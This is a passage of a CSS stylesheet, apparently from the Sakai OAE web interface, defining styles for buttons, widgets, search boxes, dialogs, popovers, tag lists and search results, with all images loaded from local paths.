{background:#fff;cursor:auto;color:#ccc}\n.s3d-button.s3d-header-button:disabled:hover {background:#fff;box-shadow:0 0 4px -2px #A8A8A8 inset;border:1px solid #e0e3e5;}\na.s3d-button.s3d-header-button {height:24px;line-height:24px;}\n\n/* Left pop out buttons */\n.s3d-popout-button-shadow {background:url(\"/dev/images/button_popout_border_shadow.png\") no-repeat scroll left top transparent;float:left;height:56px;margin-left:-10px;margin-top:-12px;position:absolute;width:20px;}\n.s3d-button.s3d-header-button.s3d-popout-button {color:#666;padding:0 5px 0 10px;font-size:13px;height:30px;}\n.s3d-button.s3d-header-button.s3d-popout-button:hover {background:url(\"/dev/images/button_popout_hover.png\") repeat-x scroll left -1px transparent;border:1px solid #31b2eb;color:#fff;}\n.s3d-button.s3d-header-button.s3d-popout-button:disabled {background:#fff;cursor:auto;color:#ccc}\n.s3d-button.s3d-header-button.s3d-popout-button:disabled:hover {background:#fff;;border:1px solid #E0E3E5;box-shadow:0 0 4px -2px #A8A8A8 inset;}\n.s3d-button.s3d-header-button.s3d-popout-button > span {display:inline-block;float:right;font-size:18px;margin-left:4px;}\n\n/* Header buttons, smaller */\n.s3d-button.s3d-header-button.s3d-header-smaller-button,\na.s3d-button.s3d-header-button.s3d-header-smaller-button {font-size:10px;height:23px;padding:0 5px;line-height:19px;}\na.s3d-button.s3d-header-button.s3d-header-smaller-button {display:inline-block;height:22px;padding:0 8px;}\n\n/* Regular in-page buttons */\n.s3d-button.s3d-regular-button{background:url(\"/dev/images/button_regular_default.png\") repeat-x scroll left top transparent;height:24px;padding:0 7px;border:1px solid #e0e3e5;color:#666;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;}\n.s3d-button.s3d-regular-button:hover{background:url(\"/dev/images/button_regular_hover.png\") repeat-x scroll left top transparent;}\na.s3d-button.s3d-regular-button{height:24px;line-height:24px;}\n\n/* Large in-page buttons */\n.s3d-button.s3d-large-button {background:url(\"/dev/images/button_large_default.png\") repeat-x scroll left top transparent;height:31px;padding:0 7px;border:1px solid #e0e3e5;color:#2683bc;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;font-size:13px;}\n.s3d-button.s3d-large-button:hover {background:url(\"/dev/images/button_large_hover.png\") repeat-x scroll left top transparent;color:#999;}\n.s3d-button.s3d-large-button.grey {color:#666;}\na.s3d-button.s3d-large-button {line-height:31px;}\n\n/* Overlay buttons */\n.s3d-button.s3d-overlay-button {background:url(\"/dev/images/button_overlay_default.png\") repeat-x scroll left top transparent;border:1px solid #E0E3E5;font-size:11px;font-weight:bold;height:24px;margin-left:15px;box-shadow:0 1px 1px 0 #999;text-shadow:0 2px 3px #fff;color:#2683bc;}\n.s3d-button.s3d-overlay-button:hover {background:url(\"/dev/images/button_overlay_hover.png\") repeat-x scroll left top transparent;}\n.s3d-button.s3d-overlay-button:disabled {color:#ccc;}\n.s3d-button.s3d-overlay-button:disabled:hover {background:url(\"/dev/images/button_overlay_default.png\") repeat-x scroll left top transparent;cursor:auto;}\na.s3d-button.s3d-overlay-button {display:inline-block;height:21px;line-height:21px;}\n\n/* Overlay Action buttons */\n.s3d-button.s3d-overlay-action-button {background:url(\"/dev/images/button_overlay_action_default.png\") repeat-x scroll left top transparent;font-size:11px;font-weight:bold;height:25px;margin-left:15px;box-shadow:0 1px 2px 0 #222;color:#fff;padding:0 5px;}\n.s3d-button.s3d-overlay-action-button:hover, .s3d-button.s3d-overlay-action-button:focus {background:url(\"/dev/images/button_overlay_action_hover.png\") repeat-x scroll left top transparent;color:#22AAE7;}\n.s3d-button.s3d-overlay-action-button:disabled {color:#ccc;}\n.s3d-button.s3d-overlay-action-button:disabled:hover {background:url(\"/dev/images/button_overlay_action_default.png\") repeat-x scroll left top transparent;cursor:auto;}\n\n.s3d-button.s3d-overlay-button.grey, .s3d-button.s3d-overlay-action-button.grey {color:#666;}\n\n/* No text buttons */\n.s3d-button.s3d-button-no-text {padding:0 !important;}\n\n/* Button in another button */\n.s3d-button .s3d-button-in-button {background:url(\"/dev/images/button_in_button_default.png\") repeat-x top left #5d6267;color:#fff;display:inline;height:15px;line-height:15px;margin:0 0 0 5px;padding:2px 4px;border:1px solid #4f4f4f;}\n.s3d-button .s3d-button-in-button-lighter {background:url(\"/dev/images/button_in_button_light_default.png\") repeat-x scroll left top #CBC9C9;border:1px solid #B5B5B5;color:#fff;display:inline;height:12px;line-height:12px;margin:2px 9px 0 -3px;padding:0 4px;float:left;}\n\n.s3d-button.s3d-overlay-action-button .s3d-button-in-button {display:inline-block;margin-top:-3px;}\n\n/*\n * WIDGET LAYOUT\n */\n.s3d-widget-titlebar{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -473px transparent;padding:0 10px 0 0;min-height:49px;}\n.s3d-widget-titlebar-inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -570px transparent;padding:0 0 0 5px;min-height:50px;}\n.s3d-widget .s3d-widget-content,.s3d-content{padding:10px 0;margin:0!important;border-left:3px solid #D4DADE;border-right:3px solid #D4DADE;}\n.s3d-widget .s3d-widget-options-footer-left{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -70px -436px #D5DBDF;height:12px;}\n.s3d-widget-small-content{padding:5px 0!important;}\n.fl-widget { margin-bottom :7px;}\n.fl-widget .fl-widget-options-footer-top{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -528px #D5DBDF;height:16px;}\n.fl-widget .fl-widget-options .fl-widget-options-top-right{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -432px transparent;float:right;height:16px;padding:0 0 7px 14px;width:16px;}\n.s3d-widget .s3d-widget-options-footer-right{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -456px #D5DBDF;float:right;height:12px;width:16px;}\n.s3d-widget .s3d-widget-no-options,.s3d-no-options{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1453px transparent;padding:0 5px 0 0;margin:0;}\n.s3d-widget .s3d-widget-no-options-inner,.s3d-no-options-inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1433px transparent;margin:0;height:6px;}\n\n.fl-col-flex2 .fl-col{margin-left:5px;margin-right:0;padding-left:0;padding-right:0;width:353px;margin-right:8px;}\n.fl-col-flex2 .fl-col:last-child {margin-right:0;}\n.fl-col-flex3 .fl-col{margin-left:5px;margin-right:0;padding-left:0;padding-right:0;width:230px;margin-right:8px;}\n.fl-col-flex3 .fl-col:last-child {margin-right:0;}\n\n.s3d-inset-shadow-container {background-color:#ededed;border:1px solid #ededed;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:inset 0 5px 5px -5px #888888;-moz-box-shadow:inset 0 5px 5px -5px #888888;-webkit-box-shadow:inset 0 5px 5px -5px #888888;}\n.s3d-outer-shadow-container {background-color:#FFF;border-radius:4px;box-shadow:0 1px 1px 0 #BBB;-moz-box-shadow:0 1px 1px 0 #BBB;-webkit-box-shadow:0 1px 1px 0 #BBB;margin:0 3px 3px 0;padding:15px 13px 11px;}\n\n/*\n * SEARCH BOXES\n */\n.s3d-search-container .s3d-search-inputfield {height: 22px;padding: 0 4px;color: #333;font-size: 12px;border:1px solid #ccc !important;float:left;}\n.s3d-search-container input::-webkit-input-placeholder {color:#7c7b7b;font-style:italic;font-size:11px !important;}\n.s3d-search-container input:-moz-placeholder{color:#7c7b7b;font-style:italic;font-size:11px !important;}\n.s3d-search-container .s3d-search-button {height:25px !important;width:24px;padding:3px 0 0 0 !important;margin-left:2px;background:none !important;border: none !important;box-shadow:none !important;-moz-box-shadow:none !important;-webkit-box-shadow:none !important;}\n.s3d-search-container .s3d-search-button:hover, .s3d-search-container .s3d-search-button:focus {background: url(\"/dev/images/searchbutton_hover_bg.png\") repeat-x top left transparent !important;border:1px solid #ccc !important;}\n.s3d-search-container .s3d-search-button img {margin:0 auto;}\n.s3d-search-container .s3d-search-button .s3d-search-button-icon{margin:0 auto;display:block;width:16px;height:19px;background: url(\"/dev/images/search_icon.png\") no-repeat top left transparent;}\n\n/*\n * NO RESULTS VIEW (When a widget feed doesn't return any results)\n */\n.s3d-no-results-container {background: url(\"/dev/images/noresults_bg.png\") repeat scroll left top transparent;-moz-border-radius:5px;border-radius:5px;padding:20px;margin:30px 0px 0px;list-style:none}\n.s3d-no-results-container .s3d-no-results-arrow-up {background:url(\"/dev/images/noresults_arrow_up.png\") no-repeat top left transparent;position:absolute;margin-top:-44px;width:36px;height:24px;}\n.s3d-no-results-container h1 {color:#666;font-size:18px;font-weight:normal;margin:5px 0 10px 0 !important;}\n.s3d-no-results-container h1 button{font-size:18px;}\n.s3d-no-results-container .s3d-no-results-icon {width:55px;height:50px;float:left;margin:0 12px 0 0;}\n.s3d-no-results-container .s3d-no-results-icon.less-margin {margin:-8px 12px 0 0;}\n\n.s3d-no-results-container .s3d-no-results-magnifier {background:url(\"/dev/images/magnifier_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-world {background:url(\"/dev/images/world_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-people {background:url(\"/dev/images/person_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-content {background:url(\"/dev/images/content_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-content-small {background:url(\"/dev/images/content_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-memberships {background:url(\"/dev/images/memberships_icon_60x55.png\") no-repeat top left transparent;width:60px;}\n.s3d-no-results-container .s3d-no-results-memberships-small {background:url(\"/dev/images/memberships_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-contacts {background:url(\"/dev/images/contacts_icon_60x55.png\") no-repeat top left transparent;width:60px;}\n.s3d-no-results-container .s3d-no-results-contacts-small {background:url(\"/dev/images/contacts_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-replied {background:url(\"/dev/images/replied_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-trash {background:url(\"/dev/images/trash_icon_55x55.png\") no-repeat top left transparent;}\n.s3d-no-results-container .s3d-no-results-upload {background:url(\"/dev/images/upload_icon_42x46.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-search-messages {background:url(\"/dev/images/no-messages-found-icon.png\") no-repeat top left transparent;width:46px;height:42px;}\n.s3d-no-results-container .s3d-no-results-search-world {background:url(\"/dev/images/world_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-search-people {background:url(\"/dev/images/people_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-search-content {background:url(\"/dev/images/content_search_icon_55x55.png\") no-repeat scroll left top transparent;}\n.s3d-no-results-container .s3d-no-results-sakai2sites {background:url(\"/dev/images/sakai2_icon_43x40.png\") no-repeat top left transparent;width:46px;height:45px;}\n\n\n\n.s3d-action-icon {width:16px;height:16px;cursor:pointer;}\n.s3d-action-icon.disabled {display:none;}\n\n.s3d-actions-delete {background:url(\"/dev/images/delete_icon_default.png\") no-repeat top left transparent;}\n.s3d-actions-delete:hover {background:url(\"/dev/images/delete_icon_hover.png\") no-repeat top left transparent;}\n\n.s3d-actions-addtolibrary {background:url(\"/dev/images/addtolibrary_icon_default.png\") no-repeat top left transparent; width: 17px; height: 25px;}\n.s3d-actions-addtolibrary:hover {background:url(\"/dev/images/addtolibrary_icon_hover.png\") no-repeat top left transparent;}\n\n.s3d-actions-author {background:url(\"/dev/images/author_icon_default.png\") no-repeat scroll left top transparent;width:32px !important;}\n.s3d-actions-author:hover {background:url(\"/dev/images/author_icon_hover.png\") no-repeat scroll left top transparent;}\n\n.s3d-actions-share {background:url(\"/dev/images/share_icon_default.png\") no-repeat scroll left top transparent; width: 23px !important;}\n.s3d-actions-share:hover {background:url(\"/dev/images/share_icon_hover.png\") no-repeat scroll left top transparent;}\n\n.s3d-actions-message {background:url(\"/dev/images/message_icon_default.png\") no-repeat scroll left top transparent;}\n.s3d-actions-message:hover {background:url(\"/dev/images/message_icon_hover.png\") no-repeat scroll left top transparent;}\n.s3d-button:hover .s3d-actions-message {background:url(\"/dev/images/message_icon_hover.png\") no-repeat scroll left top transparent;}\n.s3d-button:disabled:hover .s3d-actions-message {background:url(\"/dev/images/message_icon_default.png\") no-repeat scroll left top transparent;}\n\n/*\n * CONTENT LAYOUT \n */\n.s3d-header .s3d-fixed-container .s3d-decor-left{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll 0 -10px transparent;float:left;height:5px;margin-left:-20px;overflow:visible;width:5px;}\n.s3d-header .s3d-fixed-container .s3d-decor{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -10px transparent;float:right;height:5px;margin-right:-20px;width:5px;position:relative;*right:-15px;}\n.s3d-main-container{background:#fff;}\n\n\n/*\n * CHROME STYLES\n * HEADINGS\n */\n.s3d-site-heading{padding:10px 0;font-weight:bold;color:#454A4F;}\n.s3d-site-heading h1{margin:0;padding:0;}\n\n\n/* PROGRAMMATICALLY SET STYLES\n * styles used to programmatically set placement of widgets on the page\n */\n.inline_class_widget_rightfloat{float:right; padding: 5px 0px 5px 10px;}\n.inline_class_widget_leftfloat{float:left; padding: 5px 10px 5px 0px;}\n\n\n/*\n * ACTIONS\n * links used to trigger an action\n * default styling: bold blue link\n * Variants:\n * - action series: links are inside list items, each list item is separated by a divider\n */\na.s3d-action,.s3d-actions a{color:#2683bc;font-weight:bold;font-size:13px;}\na.s3d-action-seeall{font-size:11px!important;}\n\n/* Primary button */\n.s3d-button-primary{background-position:right -110px;}\n.s3d-button-primary .s3d-button-inner{background-position:left -110px;}\n\n/* Search button */\n.s3d-search-button{padding-right:8px;}\n.s3d-search-button .s3d-button-icon-right{padding-right:22px;background-image:url(/dev/images/dashboard_sprite.png);background-position:42px -394px;display:inline;}\n\n\n/*\n * CONTEXT MENU FOR DROPDOWNS\n */.context_menu{left:18px;padding:0;position:absolute;top:124px;}\n.context_menu img{border:1px solid #555;border-bottom:none;}\n.context_menu ul{margin:0;margin-top:-3px;background-color:#eee;border:1px solid #555;}\n.context_menu ul li{list-style-type:none;}\n.context_menu ul li a{color:#666;font-size:.95em;display:block;padding:2px 20px 2px 4px;}\n\n\n/*\n * INPUT FIELDS\n */\ninput[type=text], input[type=password], input[type=email], input[type=url], textarea{border:1px solid #A9A9A9;}\n\n/*\n * CONTENT AREA TOP TABS\n */.s3d-primary-tabs{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1622px transparent;}\n.s3d-primary-tabs,.s3d-primary-tabs-inner{height:25px;border:none;padding:2px 5px 0;display:block;}\n.s3d-primary-tabs ul.fl-tabs{border:none;padding:0;margin:0;float:right;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll left -1592px transparent;padding-left:20px;}\n.s3d-primary-tabs .fl-tabs-right li{margin-top:3px;}\n.s3d-primary-tabs ul.fl-tabs-left{float:left;padding:1px 0 0 3px;}\n.s3d-primary-tabs ul li{margin:0;margin-top:2px;padding:0;background:transparent;border:none;display:block;float:left;}\n.s3d-primary-tabs ul li a{padding:2px 18px 4px 13px;line-height:20px;background:transparent;border:none;font-weight:bold;color:#000;display:block;float:left;margin:0;position:relative;bottom:0!important;}\n.s3d-primary-tabs ul li.fl-tabs-active,.s3d-primary-tabs ul li.fl-tabs-active a{background-color:#FFF;background-image:url(/dev/images/dashboard_sprite.png);background-attachment:scroll;height:30px;bottom:0!important;position:relative;}\n.s3d-primary-tabs ul li.fl-tabs-active{padding-left:5px;background-position:left -1664px;}\n.s3d-primary-tabs ul li.fl-tabs-active a{background-position:right -1714px;font-weight:400;border:none;padding-left:15px;margin:0;}\n.fl-tab-content{border:none;margin:0;}\n\n\n/*\n * AUTOSUGGEST\n */\n.requireUser ul.as-selections{box-shadow:none;-webkit-box-shadow:none;-moz-box-shadow:none;border:1px solid #a9a9a9;}\nul.as-selections.loading{background:#fff url(../../../dev/images/ajax_load.gif) center center no-repeat;}\nul.as-selections li.as-original input {border:0;}\nul.as-selections textarea.as-input, ul.as-selections input.as-input{border:0;resize:none;}\nul.as-selections textarea.as-input{padding:0;}\n.autosuggest_wrapper{float:left;position:relative;width:100%;}\n.autosuggest_wrapper ul.as-list{top:100%;margin-top:-15px;}\n.autosuggest_wrapper .list_categories{float:right;}\n.autosuggest_wrapper textarea {overflow:hidden;}\n\n/* http://blogs.sitepoint.com/2005/02/26/simple-clearing-of-floats/ */\n.clearfix{overflow:auto;}\n\n\n /*\n * OLD DIALOG LAYOUT\n */\n.dialog{color:#333;display:none;left:50%;margin-left:-250px;position:absolute;top:12%;width:500px;}\n.jqmOverlay{background-color:#000;opacity:0.6 !important}\n\n/* Dialog header */\n.dialog_header{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -641px transparent;padding:0 8px 0 0;}\n.dialog_header_inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -819px transparent;}\n.dialog_header h1{color:#fff;display:block;font-size:1.1em;margin:0;padding:15px 20px;}\n.dialog_header .dialog_close_image{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -40px -641px transparent;cursor:pointer;display:block;height:15px;overflow:hidden;position:absolute;right:20px;top:17px;text-indent:-5000px;width:14px;}\n\n/* Dialog content */\n.dialog_content{background-color:#fff;border-left:3px #454a4f solid;border-right:3px #454a4f solid;padding:7px 20px;}\n.dialog_content h1{font-size:1.1em;font-weight:bold;color:#333;margin:0;padding:5px 0;}\n.dialog_content textarea{height:80px;width:98%;padding: 5px;}\n\n/* Dialog buttons */\n.dialog_buttons{clear:both;margin-top:20px;float:right;}\n\n/* Dialog footer */\n.dialog_footer{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -957px transparent;padding:0 8px 0 0;}\n.dialog_footer_inner{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -937px transparent;height:6px;}\n\n/* Dialog tooltip header */\n.dialog_tooltip_header_arrow{background:url(/dev/images/tour_sprite.png) no-repeat scroll -254px -76px transparent;height:18px;margin:0 0 0 20px;width:35px;}\n.dialog_tooltip_header{background:url(/dev/images/tour_sprite.png) no-repeat scroll right -20px transparent;padding:0 22px 0 0;}\n.dialog_tooltip_header_inner{background:url(/dev/images/tour_sprite.png) no-repeat scroll left top transparent;height:14px;}\n\n/* Dialog tooltip content */\n.dialog_tooltip_close{float:right;}\n.dialog_tooltip_content{background:url(/dev/images/tour_sprite.png) no-repeat scroll left -80px transparent;padding:7px 20px 0;}\n.dialog_tooltip_content h2{font-size:1.1em;font-weight:bold;color:#333;margin:0;padding:0 0 5px;}\n.dialog_tooltip_content p{font-size:.9em;}\n.dialog_tooltip_content textarea{height:80px;width:98%;}\n\n/* Dialog tooltip footer */\n.dialog_tooltip_footer{background:url(/dev/images/tour_sprite.png) no-repeat scroll right -60px transparent;padding:0 22px 0 0;}\n.dialog_tooltip_footer_inner{background:url(/dev/images/tour_sprite.png) no-repeat scroll left -40px transparent;height:14px;}\n.dialog_tooltip_footer_arrow{background:url(/dev/images/tour_sprite.png) no-repeat scroll -217px -80px transparent;width:35px;height:18px;margin:0 0 0 20px;}\n\n/*\n * NEW DIALOG LAYOUT\n */\n.s3d-dialog{color:#333;display:none;left:50%;margin-left:-250px;position:absolute;top:50px;width:500px;}\n.s3d-dialog-container {background-color:#fff; border:1px solid #a9a9a9; -moz-border-radius:5px;border-radius:5px;padding:7px 20px 12px;box-shadow:0 0 10px #000;-moz-box-shadow:0 0 10px #000;-webkit-box-shadow:0 0 10px #000;color:#424242;font-size:12px;}\n.s3d-dialog-container .s3d-dialog-close {background:url(\"/dev/images/dialog_close.png\") no-repeat top left transparent;width:19px;height:17px;float:right;cursor:pointer;margin:-2px -15px 0 0;}\n.s3d-dialog-container .s3d-dialog-close:hover {background:url(\"/dev/images/dialog_close.png\") no-repeat left -19px transparent;}\n.s3d-dialog-container h1.s3d-dialog-header {border-bottom:1px dotted #d4d4d4;color:#666;font-size:19px;font-weight:normal;padding-bottom:11px;margin-bottom:15px;}\n\n/* Widget bar item counts */\n.s3d-counts-outer{padding:3px 2px;background:#fff;border:1px solid #D6D9DB;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 4px -2px #A8A8A8 inset;-webkit-box-shadow:0 0 4px -2px #A8A8A8 inset;-moz-box-shadow:0 0 4px -2px #A8A8A8 inset; font-size: 11px; position: relative; top: -1px; margin-left: 5px;}\n.s3d-counts-outer a{padding-right:6px;color:#707070;}\n.s3d-counts-inner{color:#fff;padding:0px 4px;background:#D4D4D4;border:1px solid #CACACA;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-shadow:0 0 4px -2px #A2A2A2 inset;-webkit-box-shadow:0 0 4px -2px #A2A2A2 inset;-moz-box-shadow:0 0 4px -2px #A2A2A2 inset;}\n\n/*\n * CHAT\n */\n.chat_available_status_online{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -33px -395px transparent;}\n.chat_available_status_busy{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -63px -395px transparent;}\n.chat_available_status_offline{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -93px -395px transparent;}\n.chat_available_status_offline,.chat_available_status_busy,.chat_available_status_online{padding-left:15px;}\n\n\n/*\n * LISTS\n */\n.s3d-list-item{list-style:none outside none;padding:5px 0 5px 10px!important;margin:0!important;clear:both;overflow:hidden;}\n.s3d-list-entity-picture{float:left;height:32px;margin-right:10px;width:32px;}\n.s3d-entity-displayname{padding-top:4px;margin:4px 0 0 8px;float:left;}\n.s3d-list-link-full-space{clear:both;height:100%;}\nul li.s3d-list-item:hover{background-color:#f1f9fd;}\n\n.s3d-dropdownlistone-text{padding:0 7px;border-right:none;color:#fff;font-size:11px;}\n.s3d-dropdownlistone-text .dropdownlistone_arrow{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -149px -394px transparent;padding-right:17px;padding-left:8px;}\n.s3d-dropdownlistone-menu{background-color:#868a8d;line-height:16px;position:absolute;z-index:500;padding:0 0 6px;min-width:100px;}\n.s3d-dropdownlistone-menu div{margin-top:5px;}\n.s3d-dropdownlistone-menu ul{margin:0;padding:0;}\n.s3d-dropdownlistone-menu li{display:block;list-style-type:none;margin:0;padding:3px 5px 6px 13px;}\n.s3d-dropdownlistone-menu li a{border:none;color:#fff;padding:0;}\n.s3d-dropdownlistone-menu li a:hover, .s3d-dropdownlistone-menu li button:hover{color:#ddd;}\n.s3d-dropdownlistone-menu-border{border-bottom:1px solid #777;}\n.s3d-dropdownlistone-link-inactive {color:#aaa;}\n\n.s3d-dropdownlisttwo-text{color: #666666;}\n.s3d-dropdownlisttwo-text span{float:left;}\n.s3d-dropdownlisttwo-text .s3d-dropdownlisttwo-arrow-down{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -128px -400px transparent;float:left;height: 10px;margin: 6px 0 0 6px;width: 10px;}\n.s3d-dropdownlisttwo-text .s3d-dropdownlisttwo-arrow-up{background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -218px -400px transparent;float:left;height: 10px;margin: 6px 0 0 6px;width: 10px;}\n.s3d-dropdownlisttwo-menu{font-size:.95em!important;left:110px;list-style-image:none;position:absolute;top:29px;z-index:10;margin:0;}\n.s3d-dropdownlisttwo-menu ul{background-color:#fff;border:1px solid #CCC;margin:0;padding:5px 15px 5px 7px;}\n.s3d-dropdownlisttwo-menu li{list-style-type:none;padding:0;}\n\n/*\n * POPOVERS\n */\n.s3d-popover-container {border: 1px solid #EAEBEC;border-top: none;border-radius: 5px;-moz-border-radius: 5px;-webkit-border-radius: 5px;box-shadow: 0px 0px 5px #454545;-moz-box-shadow: 0px 0px 5px #454545;-webkit-box-shadow: 0px 0px 5px #454545;background:url(\"/dev/images/popover_bg.png\") repeat-x scroll left top #f4f4f4;font-size:13px;}\n.s3d-popover-container .s3d-popover-inner {padding:10px;word-wrap:break-word;}\n.s3d-popover-arrowup {background:url(\"/dev/images/popover_arrowup.png\") no-repeat scroll left top transparent;height:13px;margin-left:110px;position:relative;width:33px;}\n\n/* \n * TAGLISTS\n */\n.s3d-taglist-container {max-height:53px;overflow-y:hidden;}\n.s3d-taglist{margin:3px 0 0 20px;text-indent:-20px;}\n.s3d-taglist li{display:inline;list-style:disc;padding: 0;margin:0;list-position:inside}\n.s3d-taglist li a{font-size:11px !important;font-weight:normal !important;}\n.s3d-taglist li:before{content:'\\0020\\00b7\\0020'}\n.s3d-taglist li:first-child:before{content:''}\n.s3d-taglist li:first-child{list-style:none;background:url(\"/devwidgets/entity/images/entity_tags_icon.png\") no-repeat scroll left 1px transparent;padding-left:20px;}\n\n/* \n * HIGHLIGHTED AREAS\n */\n.s3d-highlight_area_background{background-color:#EFF2F4;padding:0 10px;margin:0 0 15px;}\n.s3d-highlight_area_background_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1037px transparent;}\n.s3d-highlight_area_background_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1047px transparent;}\n.s3d-highlight_area_background_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1057px transparent;}\n.s3d-highlight_area_background_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1067px transparent;}\n.s3d-highlight_area_background_white_content_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1198px transparent;}\n.s3d-highlight_area_background_white_content_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1208px transparent;}\n.s3d-highlight_area_background_white_content_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1217px transparent;}\n.s3d-highlight_area_background_white_content_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1227px transparent;}\n.s3d-highlight_area_background_darker1{background-color:#d5dbdf;padding:0 10px;margin:0 0 15px;}\n.s3d-highlight_area_background_darker1_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1077px transparent;}\n.s3d-highlight_area_background_darker1_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1087px transparent;}\n.s3d-highlight_area_background_darker1_bl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1097px transparent;}\n.s3d-highlight_area_background_darker1_binner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1107px transparent;}\n.s3d-highlight_area_background_darker1_white_content_tl{height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1117px transparent;}\n.s3d-highlight_area_background_darker1_white_content_tinner{height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1127px transparent;}\n.s3d-highlight_area_background_darker1_white_content_bl{clear:both;height:7px;margin-left:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll -10px -1137px transparent;}\n.s3d-highlight_area_background_darker1_white_content_binner{clear:both;height:7px;margin-right:-10px;background:url(/dev/images/dashboard_sprite.png) no-repeat scroll right -1147px transparent;}\n\n/*\n * SEARCH\n */\n\n/* SEARCH BAR */\n.s3d-search-bar{margin-left:205px; position: relative; top: -10px;}\n.s3d-search-bar input{color:#6d6d6d !important;width:500px;font-size:1.2em !important;display:block;}\n\n/* SEARCH HEADER */\n.s3d-search-header{text-align:left;font-weight:normal;font-size:1em;color:#666;width:712px;}\n.s3d-search-header{margin-bottom: 5px;padding:5px 5px 8px 10px;background-color:#f5f5f5;border-radius:2px;-moz-border-radius:2px;-webkit-border-radius:2px;box-shadow:0 1px 1px 1px #CCC;-webkit-box-shadow:0 1px 1px 1px #CCC;-moz-box-shadow:0 1px 1px 1px #CCC;}\n.s3d-search-header .s3d-search-header-type{display:inline-block; padding-top: 2px;}\n.s3d-search-header .s3d-search-selects{float:right;}\n.s3d-search-header .s3d-search-selects div{display:inline;float:left;}\n.s3d-search-header .s3d-search-selects select{border: 1px solid #CCCCCC;margin:0;}\n.s3d-search-header .s3d-search-selects .s3d-search-sort{margin-left:10px;}\n\n/* SEARCH REFINE BY TAGS */\n.s3d-search-tag{padding:0;margin:5px 2px 0 2px;}\n.s3d-search-activetags span, .s3d-search-refineby span{display:inline-block;}\n.s3d-search-activetags button{color:#6C6C6C;cursor:pointer;border:1px solid #b4b5b5;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;background-color:#FEFEFE;}\n.s3d-search-activetags button img{margin-left:8px;}\n.s3d-search-refineby-list{margin-bottom:15px;}\n.s3d-search-refineby .s3d-search-refineby-title{margin-bottom:5px;display:block;color:#64707E;}\n.s3d-search-refineby button{cursor:pointer;color:#585858;border:1px solid #A5BECF;border-radius:10px;-moz-border-radius:10px;-webkit-border-radius:10px;background:url(\"/dev/images/search_tag_button.png\") repeat-x scroll left top #cde6f7;}\n\n/* SEARCH RESULTS */\n.s3d-search-results{display:block; overflow:hidden;width:730px;}\n.s3d-search-results .s3d-search-results-container{margin:10px 0 0;padding:0;border-top: 1px solid #e9e9e9;}\n.s3d-search-result{color:#333;padding:10px;border-bottom: 1px dotted #cccccc;list-style:none}\n.s3d-search-result a img{float:left;padding:0 10px 5px 0;width:40px;}\n.s3d-search-result-right{margin-left:80px;}\n.s3d-search-results 